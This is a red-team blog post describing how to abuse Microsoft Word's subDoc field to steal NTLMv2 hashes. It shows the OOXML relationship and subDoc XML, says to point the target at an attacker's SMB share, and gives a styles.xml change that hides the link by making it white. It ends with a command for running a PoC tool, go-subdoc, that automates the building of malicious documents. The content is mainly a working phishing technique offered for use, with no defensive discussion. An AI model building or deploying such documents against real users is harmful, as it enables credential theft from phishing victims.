You might think that Microsoft Office is quite an uncommon way to execute malware, however it's not only used to execute malicious code. It's mainly used in red-team operations for phishing campaigns. The existence of Microsoft Office makes it for an ideal tool in phishing campaigns.

Abusing the Microsoft Word feature: subDoc

The subDoc field is an OOXML (Open Office XML) field implemented in Microsoft Word known to exist ever since from Microsoft Word 2007 to the Microsoft Word 2016. Its whole purpose is to embed a "subdocument" within a master document, for example, embedding an external Word document into a "master" document.

To add the subDoc field to your Word document is as easy as editing these files in the OOXML package (zip file):

word/_rels/document.xml.rels

<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/subDocument" Target="external_document.docx" TargetMode="External"/>

word/document.xml

<w:p>
    <w:subDoc r:id="rId5"/>
</w:p>

As we can see, to embed a subdocument to our master document, we need to provide the file path to the file, often when we can specify an external file path, we can access external SMB shares, that is, if we can depending on how mature the environment we're working on is. So then I tried to replace the Target field with an UNC path to an external SMB server. Upon opening the Word document I received a SMB request on my Responder client with the NTLMv2 Client (The victim's IP Address), the NTLMv2 Username (The victim's HOSTNAME\username) and the victim's NTLMv2 Hash, as shown on the screenshot below.

We managed to successfully steal the victim's NTLMv2 hash, however, there's one drawback from using this feature, which is that the hyperlink is visible on the Word page as shown in the screenshot below:

So then I started to mess around with the files inside the OOXML package and figured out that the styles.xml file contained all the styles for the Hyperlink, such as its color, font, theme, etc… as shown below:

word/styles.xml

<w:style w:type="character" w:styleId="Hyperlink">
    <w:name w:val="Hyperlink"/>
    <w:basedOn w:val="DefaultParagraphFont"/>
    <w:uiPriority w:val="99"/>
    <w:unhideWhenUsed/>
    <w:rsid w:val="00400B73"/>
    <w:rPr>
      <w:color w:val="FFFFFF" w:themeColor="background1"/>
      <w:u w:val="single"/>
    </w:rPr>
</w:style>

By editing these fields I was able to change the Hyperlink color from the default one to white, so it would disappear on the page, and it did. Easy as that.

Now you have a completely stealthy and hidden NTLMv2 hash stealer.

Using go-subdoc to automate the whole process

Given how manual the whole process to craft a malicious Word document with subDoc is, I decided to write a PoC tool to automate the whole process in Go, it's called go-subdoc and you can find it on its GitHub repository: https://github.com/offsec-org/go-subdoc.

To use it is pretty simple, simply download one of the releases or install it to your GOPATH and provide the input file and target domain/ip address of the Responder or SMB share, as shown on the README for example:

$ go-subdoc -input target.docx/docm -target example.com/127.0.0.1

It will generate a new malicious payload with the _injected name at the end.

Conclusion

Upon reviewing the Microsoft Word specifications, I found a field called subDoc that can be used to embed a document inside another, by providing it a file path, I managed to change that file path to an external SMB share and managed to steal the victim's NTLMv2 hash in a stealthy and hidden way.